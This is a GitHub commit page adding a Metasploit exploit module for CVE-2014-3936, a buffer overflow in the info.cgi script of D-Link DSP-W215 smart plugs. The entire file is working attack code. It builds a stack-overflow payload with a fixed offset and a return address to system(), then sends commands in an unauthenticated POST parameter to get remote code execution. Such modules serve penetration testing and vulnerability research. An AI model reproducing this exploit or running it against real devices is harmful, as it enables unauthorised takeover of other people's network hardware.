Skip to content

Commit f89f47c

Browse files
author
Michael Messner
committed
dlink_dspw215_info_cgi_rop
1 parent 4eeab66 commit f89f47c

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link info.cgi Buffer Overflow in POST Request',
17+
'Description' => %q{
18+
This module exploits an anonymous remote code execution vulnerability on different D-Link devices.
19+
This module has been successfully tested on D-Link DSP-W215 in an emulated environment.
20+
},
21+
'Author' =>
22+
[
23+
'Craig Heffner', # vulnerability discovery and initial PoC
24+
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'Platform' => ['linux'],
28+
'Arch' => ARCH_MIPSBE,
29+
'References' =>
30+
[
31+
[ 'CVE', '2014-3936' ],
32+
[ 'BID', '67651' ],
33+
[ 'URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/' ], # blog post from Craig including PoC
34+
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029' ]
35+
],
36+
'Targets' =>
37+
[
38+
[ 'D-Link DSP-W215',
39+
{
40+
'Offset' => 477472,
41+
'Ret' => "\x00\x40\x5C\xEC", # jump to system - my_cgi.cgi
42+
}
43+
]
44+
],
45+
'DisclosureDate' => 'May 22 2014',
46+
'DefaultTarget' => 0))
47+
end
48+
49+
def check
50+
begin
51+
res = send_request_cgi({
52+
'uri' => "/common/info.cgi",
53+
'method' => 'GET'
54+
})
55+
56+
if res && [200, 301, 302].include?(res.code)
57+
return Exploit::CheckCode::Detected
58+
end
59+
rescue ::Rex::ConnectionError
60+
return Exploit::CheckCode::Unknown
61+
end
62+
63+
Exploit::CheckCode::Unknown
64+
end
65+
66+
def exploit
67+
print_status("#{peer} - Trying to access the vulnerable URL...")
68+
69+
unless check == Exploit::CheckCode::Detected
70+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
71+
end
72+
73+
print_status("#{peer} - Exploiting...")
74+
execute_cmdstager(
75+
:flavor => :echo,
76+
:linemax => 185
77+
)
78+
end
79+
80+
def prepare_shellcode(cmd)
81+
buf = rand_text_alpha_upper(target['Offset']) # Stack filler
82+
buf << target['Ret'] # Overwrite $ra -> jump to system
83+
84+
# la $t9, system
85+
# la $s1, 0x440000
86+
# jalr $t9 ; system
87+
# addiu $a0, $sp, 0x28 # our command
88+
89+
buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28
90+
buf << cmd # Command to execute
91+
buf << "\x00" # NULL terminate the command
92+
end
93+
94+
def execute_command(cmd, opts)
95+
shellcode = prepare_shellcode(cmd)
96+
97+
begin
98+
res = send_request_cgi({
99+
'method' => 'POST',
100+
'uri' => "/common/info.cgi",
101+
'encode_params' => false,
102+
'vars_post' => {
103+
'storage_path' => shellcode,
104+
}
105+
})
106+
return res
107+
rescue ::Rex::ConnectionError
108+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
109+
end
110+
end
111+
end

0 commit comments

Comments
 (0)